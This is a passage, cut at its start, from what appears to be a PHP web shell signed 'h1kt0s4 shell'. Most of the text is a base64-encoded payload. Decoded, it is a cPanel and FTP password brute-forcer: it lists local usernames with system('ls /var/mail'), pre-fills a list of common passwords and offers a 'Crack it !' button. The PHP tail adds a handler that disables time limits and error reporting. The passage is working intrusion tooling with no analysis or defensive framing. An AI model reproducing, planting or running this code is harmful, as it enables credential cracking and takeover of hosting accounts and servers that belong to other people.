aW50ICI8cD48Zm9udCBmYWNlPVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1c
IiNGRjAwMDBcIj5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3
b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CmlmKGVtcHR5KCR1
c2VycykpeyBwcmludCAiPHA+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Yj48Zm9udCBj
b2xvcj0nI0ZGMDAwMCc+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBVc2VycyBMaXN0
IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfQppZihlbXB0eSgkcGFzcykgKXsg
cHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNG
RjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgUGFzc3dvcmQgTGlzdCBFbnRy
eSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH07CiR1c2VybGlzdD1leHBsb2RlKCJcbiIs
JHVzZXJzKTsKJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7CnByaW50ICI8Yj48Zm9udCBm
YWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwi
Plt+XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRc
IiBjb2xvcj1cIiNGRjAwMDBcIj4KQ3JhY2tpbmcgUHJvY2VzcyBTdGFydGVkLCBQbGVhc2UgV2Fp
dCAuLi48L2ZvbnQ+PC9iPjxicj48YnI+IjsKZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7
CiRwdXJldXNlciA9IHRyaW0oJHVzZXIpOwpmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3Jk
ICkgewokcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CmlmKCRjcmFja3R5cGUgPT0gImZ0cCIp
ewpmdHBfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQp
Owp9CmlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKQp7CmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRw
dXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7Cn0KfQp9Cn0KPz48PwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VudGVyJ10pewplY2hvICI8Zm9y
bSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6
IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0Mw
QzBDMCc+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4g
PGJyIC8+CiAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAn
PgogICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPlNlcnZlcidzIElQPC9zcGFuPiA6
PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJz4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0nQXJp
YWwnIGNvbG9yPScjQ0MwMDAwJz4KICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFy
Z2V0JyBzaXplPScxNicgdmFsdWU9JHRhcmdldCBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMx
RDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjwvZm9udD48
L2I+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPScjMDA4MDAw
JyBmYWNlPSdUYWhvbWEnIHNpemU9JzInPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyA8L2ZvbnQ+PC9iPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0n
Y2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzU1
JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAj
MDAwMDAwOyBjb2xvcjojQzBDMEMwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPHRkIGFsaWduPSdjZW50ZXInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8c3BhbiBsYW5nPSdlbi11cyc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPjxiPlVzZXJuYW1l
PC9iPjwvZm9udD48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPjxmb250IGNvbG9yPScjRkYwMDAwJz48Yj5Q
YXNzd29yZDwvYj48L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFi
bGU+CgogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4
dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4
IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMw
Jz4iOwoKICAgICAgc3lzdGVtKCdscyAvdmFyL21haWwnKTsKCmVjaG8gIjwvdGV4dGFyZWE+PHRl
eHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVy
OiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiND
MEMwQzAnPjEyMzEyM1xuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xNTkx
NTlcbjExMjIzM1xuMzMyMjExXG4xNDc4OTYzXG4xNDc4OTYzLlxuY3BhbmVsXG5wYXNzd29yZFxu
dXNlclxucGFzc3dkXG5wYXNzd29yZHNcbjE1OTM1N1xuMzU3OTUxXG4xMTQ0NzdcbnBhc3NcblBh
c3N3b3JkXG5QYXNzV29yZFxucGFzczQ0MzMyMjExXG5hc2RmcmV3cVxuYWRtaW5pXG5hZG1pbjEx
MVxucWF3c2VkcmZcbjFxdzIzZXI0XG4xcWFzdzJcbnBhc3NhYXBcbjwvdGV4dGFyZWE+PGJyPgog
ICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiPiA8Zm9udCBmb250
IGNvbG9yPScjRkYwMDAwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgR3Vlc3Mgb3B0aW9uczwvZm9udD48L2I+PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTog
MTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz48c3BhbiBzdHlsZT0nZm9udC1zaXplOiA5
cHQ7Jz4mbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2NwYW5lbCcgc3R5
bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L2ZvbnQ+PC9zcGFu
PjwvZm9udD48Yj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcGFuZWw8L2ZvbnQ+PGZvbnQgc2l6ZT0n
MicgY29sb3I9JyNjYzAwMDAnIGZhY2U9J1RhaG9tYSc+CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZG
RkZGRicgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgKDIwODIpPC9mb250PjwvYj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEn
PjxiPiA8L2I+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5
bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+PGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScg
dmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+PC9mb250
Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBm
YWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8L2ZvbnQ+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7Jz4KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgZmFjZT0n
VGFob21hJz5GdHAgPC9mb250PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRicgZmFjZT0nVGFob21hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKDIxKTwvZm9u
dD48L3NwYW4+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxvcHRpb24gdmFsdWU9J25h
bWUnPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQn
IHZhbHVlPScgICBDcmFjayBpdCAhICAgJyBuYW1lPSdzdWJtaXQnIHN0eWxlPSdjb2xvcjogI0ZG
MDAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNr
Z3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+
CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgogICAgPHAgYWxpZ249J2Nl
bnRlcic+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KCiAgIjtkaWUoKTsKfQo/PgogPHRhYmxlIHdp
ZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j
b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+Cjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb3Jt
IG1ldGhvZD1QT1NUIGFjdGlvbj0nJyBhbGlnbj1jZW50ZXI+PGJyIC8+PGlucHV0IHR5cGU9c3Vi
bWl0IG5hbWU9ZW50ZXIgdmFsdWU9IiBFbnRlciAiIHN0eWxlPSdjb2xvcjogI0ZGMDAwMDsgZm9u
dC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNrZ3JvdW5kLWNv
bG9yOiAjMDAwMDAwJyAvPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48YnIgLz4K'));
echo '
';
die();
}
if(isset($_GET['zone']))
{
ob_start();
set_time_limit(0);
error_reporting(0);
echo 'h1kt0s4 Ok.. ';
ob_flush();
flush();
}
}
echo '
h1kt0s4 shell